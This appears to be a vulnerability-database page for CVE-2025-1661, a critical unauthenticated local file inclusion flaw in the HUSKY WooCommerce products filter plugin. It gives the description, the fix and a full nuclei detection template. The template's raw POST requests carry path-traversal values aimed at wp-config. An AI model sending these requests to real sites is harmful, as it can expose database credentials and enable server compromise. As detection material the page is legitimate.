HexBrain

Browse / CVEs / CVE-2025-1661

CVE-2025-1661· CWE-22

HUSKY – Products Filter Professional for WooCommerce <= 1.3.6.5 - Unauthenticated Local File Inclusion

criticalseverity
9.8CVSS score
56.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Impact

Unauthenticated attackers can include and execute arbitrary files through the template parameter, allowing arbitrary PHP code execution and potential complete server compromise.

Fix

Update to version 1.3.6.6, or a newer patched version

How to confirm it

Send: POST /wp-admin/admin-ajax.php?template=../../../../../../../wp-config&value=a&min_symbols=1
Positive when: contains_all(body, 'options','min_symbols',"..\\/..\\/..\\/..\\/..\\/..\\/..\\/wp-config")
Send: POST /wp-admin/admin-ajax.php?template=../../../../../../../wp-configx&value=a&min_symbols=1
Positive when: contains_all(body, 'options','woof_husky_txt-option-title','woof_husky_txt-option-text','Wrong path to template','..\\/..\\/..\\/..\\/..\\/..\\/..\\/wp-configx')

Run it with nuclei: nuclei -id CVE-2025-1661 -u <target>

The full check
id: CVE-2025-1661

info:
  name: HUSKY – Products Filter Professional for WooCommerce <= 1.3.6.5 - Unauthenticated Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
  impact: |
    Unauthenticated attackers can include and execute arbitrary files through the template parameter, allowing arbitrary PHP code execution and potential complete server compromise.
  remediation: |
    Update to version 1.3.6.6, or a newer patched version
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion
    - https://plugins.trac.wordpress.org/browser/woocommerce-products-filter/trunk/ext/by_text/index.php
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3249621%40woocommerce-products-filter&new=3249621%40woocommerce-products-filter&sfp_email=&sfph_mail=
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3253169%40woocommerce-products-filter&new=3253169%40woocommerce-products-filter&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9ae7b6fc-2120-4573-8b1b-d5422d435fa5?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-1661
    cwe-id: CWE-22
    epss-score: 0.56382
    epss-percentile: 0.99063
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/woocommerce-products-filter/"
  tags: cve,cve2025,woocommerce-products-filter,wordpress,wp-plugin,wp,woocommerce,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?template=../../../../../../../wp-config&value=a&min_symbols=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=woof_text_search&

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'options','min_symbols',"..\\/..\\/..\\/..\\/..\\/..\\/..\\/wp-config")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?template=../../../../../../../wp-configx&value=a&min_symbols=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=woof_text_search&

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'options','woof_husky_txt-option-title','woof_husky_txt-option-text','Wrong path to template','..\\/..\\/..\\/..\\/..\\/..\\/..\\/wp-configx')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from